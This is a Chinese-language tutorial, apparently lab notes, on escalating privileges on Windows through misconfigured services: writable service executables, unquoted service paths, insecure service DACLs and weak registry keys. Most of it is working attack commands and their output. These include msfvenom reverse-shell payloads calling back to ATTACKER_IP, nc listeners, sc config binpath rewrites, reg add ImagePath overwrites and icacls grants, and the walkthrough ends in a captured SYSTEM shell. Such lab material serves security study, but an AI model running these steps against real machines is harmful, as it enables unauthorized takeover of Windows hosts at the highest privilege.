Windows 服务由服务控制管理器(SCM)管理。SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的过程。
Windows 机器上的每个服务都将有一个关联的可执行文件,每当服务启动时,该可执行文件将由 SCM 运行。重要的是要注意服务可执行文件实现特殊功能以便能够与 SCM 通信,因此任何可执行文件都不能作为服务成功启动。每项服务还指定服务将在其下运行的用户帐户。 我们可以使用<font style="color:rgb(33, 37, 41);">sc qc</font>检查特定服务:
C:\> sc qc apphostsvc[SC] QueryServiceConfig SUCCESSSERVICE_NAME: apphostsvcTYPE : 20 WIN32_SHARE_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 1 NORMALBINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphostLOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : Application Host Helper ServiceDEPENDENCIES :SERVICE_START_NAME : localSystem
服务可执行文件的不安全权限
如果与服务关联的可执行文件具有允许攻击者修改或替换它的弱权限,则攻击者可以轻而易举地获得服务帐户的特权我们可以看到存在漏洞的软件安装的服务运行为svcuser1,与该服务关联的可执行文件位于C:\Progra~2\System~1\WService.exe. 然后我们继续检查可执行文件的权限:
C:\> sc qc WindowsScheduler[SC] QueryServiceConfig SUCCESSSERVICE_NAME: windowsschedulerTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 0 IGNOREBINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exeLOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : System Scheduler ServiceDEPENDENCIES :SERVICE_START_NAME : .\svcuser1
在这里我们有一些有趣的事情。Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以简单地用我们偏好的任何有效载荷覆盖它,服务将以配置的用户帐户的权限执行它。 让我们使用 msfvenom 生成一个 exe-service payload 并通过 python 网络服务器提供它:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exeC:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)NT AUTHORITY\SYSTEM:(I)(F)BUILTIN\Administrators:(I)(F)BUILTIN\Users:(I)(RX)APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)Successfully processed 1 files; Failed processing 0 files
有效负载位于 Windows 服务器中后,我们将继续用我们的有效负载替换服务可执行文件。因为我们需要另一个用户来执行我们的负载,所以我们也想授予 Everyone 组完全权限:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exeuser@attackerpc$ python3 -m http.serverServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
C:\> cd C:\PROGRA~2\SYSTEM~1\C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp1 file(s) moved.C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe1 file(s) moved.C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:FSuccessfully processed 1 files.
然后我们重新启动服务
C:\> sc stop windowsschedulerC:\> sc start windowsscheduler
未引用的服务路径
C:\> sc qc "disk sorter enterprise"[SC] QueryServiceConfig SUCCESSSERVICE_NAME: disk sorter enterpriseTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 0 IGNOREBINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exeLOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : Disk Sorter EnterpriseDEPENDENCIES :SERVICE_START_NAME : .\svcusr2
我们在这里发现文件执行路径为: C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe,Windows 对其解释可能未以下三种形式:
| 命令 | 参数1 | 参数2 |
|---|---|---|
| C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
| C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
| C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
这是因为在正常使用时,我们经常将空格作为参数的分割符导致的,那么 Windows 该如何运行呢?
- 首先,搜索
C:\MyPrograms\Disk.exe。如果存在,该服务将运行此可执行文件。 - 如果后者不存在,它将搜索
C:\\MyPrograms\Disk Sorter.exe. 如果存在,该服务将运行此可执行文件。 - 如果后者不存在,它将搜索
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe. 此选项预计会成功,并且通常会在默认安装中运行。
这时候我们可以上传一个文件到 C:\MyPrograms\Disk.exe 并对其附加权限
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exeC:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:FSuccessfully processed 1 files.
这时候如果服务重新启动就会执行我们的恶意文件
查找命令:
C:\Users\Sage> wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v "c:\windows\\" | findstr /i /v """
不安全的服务权限
如果服务的 DACL 允许我们修改服务的配置,那么我们可以重新配置该服务,这将会允许我们将任何可执行文件使用任何账户运行
要检查 DACL 我们可以使用Sysinternals 套件中的Accesschk
SERVICE_CHANGE_CONFIG
我们使用 accesschk 来查看 dsclsvc 服务对 user 的权限:
C:\Users\user>C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvcRW daclsvcSERVICE_QUERY_STATUSSERVICE_QUERY_CONFIGSERVICE_CHANGE_CONFIGSERVICE_INTERROGATESERVICE_ENUMERATE_DEPENDENTSSERVICE_STARTSERVICE_STOPREAD_CONTROL
User 具有对该服务的 SERVICE_CHANGE_CONFIG 权限,我们查看该服务相关信息:
C:\Users\user>sc qc daclsvc[SC] QueryServiceConfig SUCCESSSERVICE_NAME: daclsvcTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 3 DEMAND_STARTERROR_CONTROL : 1 NORMALBINARY_PATH_NAME : "C:\Program Files\DACL Service\daclservice.exe"LOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : DACL ServiceDEPENDENCIES :SERVICE_START_NAME : LocalSystem
因为我们具有配置权限,所以我们可以修改该服务的二进制路径进行获取权限
C:\Users\user>sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""C:\Users\user>net start daclsvc
SERVICE_ALL_ACCESS
C:\tools\AccessChk> accesschk64.exe -qlc thmservice[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEMSERVICE_QUERY_STATUSSERVICE_QUERY_CONFIGSERVICE_INTERROGATESERVICE_ENUMERATE_DEPENDENTSSERVICE_PAUSE_CONTINUESERVICE_STARTSERVICE_STOPSERVICE_USER_DEFINED_CONTROLREAD_CONTROL[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\UsersSERVICE_ALL_ACCESS
在更改服务之前,让我们构建另一个 exe-service 反向 shell 并在攻击者的机器上为它启动一个监听器:
卡利Linux
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exeuser@attackerpc$ nc -lvp 4447
然后我们将反向 shell 可执行文件传输到目标机器并将其存储在C:\Users\thm-unpriv\rev-svc3.exe. 随意使用 wget 传输您的可执行文件并将其移动到所需位置。请记住授予 Everyone 执行您的有效负载的权限:
命令提示符
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后的空格):
命令提示符
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
请注意,我们可以使用任何帐户来运行该服务。我们选择 LocalSystem 是因为它是可用的最高特权帐户。要触发我们的有效载荷,剩下的就是重新启动服务:
命令提示符
C:\> sc stop THMServiceC:\> sc start THMService
我们将在攻击者的机器上收到一个具有 SYSTEM 权限的 shell:
卡利Linux
user@attackerpc$ nc -lvp 4447Listening on 0.0.0.0 4447Connection received on 10.10.175.90 50650Microsoft Windows [Version 10.0.17763.1821](c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoamiNT AUTHORITY\SYSTEM
弱注册表权限
我们使用 accesschk.exe 程序,来查看指定服务的注册表新
C:\Users\user\Desktop>C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvcHKLM\System\CurrentControlSet\Services\regsvcMedium Mandatory Level (Default) [No-Write-Up]RW NT AUTHORITY\SYSTEMKEY_ALL_ACCESSRW BUILTIN\AdministratorsKEY_ALL_ACCESSRW NT AUTHORITY\INTERACTIVEKEY_ALL_ACCESS
我们可以查看该服务可由 RW NT AUTHORITY\INTERACTIVE组 (这个组是经过身份验证的用户)
我们可以通过覆盖 regsvc 的注册表项来进行修改
C:\Users\user\Desktop>reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /fThe operation completed successfully.
验证:
C:\Users\user\Desktop>sc qc regsvc[SC] QueryServiceConfig SUCCESSSERVICE_NAME: regsvcTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 3 DEMAND_STARTERROR_CONTROL : 1 NORMALBINARY_PATH_NAME : C:\PrivEsc\reverse.exeLOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : Insecure Registry ServiceDEPENDENCIES :SERVICE_START_NAME : LocalSystem
不安全的服务可执行文件
C:\Users\user\Desktop>C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"C:\Program Files\File Permissions Service\filepermservice.exeMedium Mandatory Level (Default) [No-Write-Up]RW EveryoneFILE_ALL_ACCESSRW NT AUTHORITY\SYSTEMFILE_ALL_ACCESSRW BUILTIN\AdministratorsFILE_ALL_ACCESSRW WIN-QBA94KB3IOF\AdministratorFILE_ALL_ACCESSRW BUILTIN\UsersFILE_ALL_ACCESS
该服务是任何用户都可以进行修改,我们可以使用我们的恶意文件覆盖原始文件
C:\Users\user\Desktop>copy C:\Users\user\Desktop\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y1 file(s) copied.C:\Users\user\Desktop>sc qc filepermsvc[SC] QueryServiceConfig SUCCESSSERVICE_NAME: filepermsvcTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 3 DEMAND_STARTERROR_CONTROL : 1 NORMALBINARY_PATH_NAME : "C:\Program Files\File Permissions Service\filepermservice.exe"LOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : File Permissions ServiceDEPENDENCIES :SERVICE_START_NAME : LocalSystem
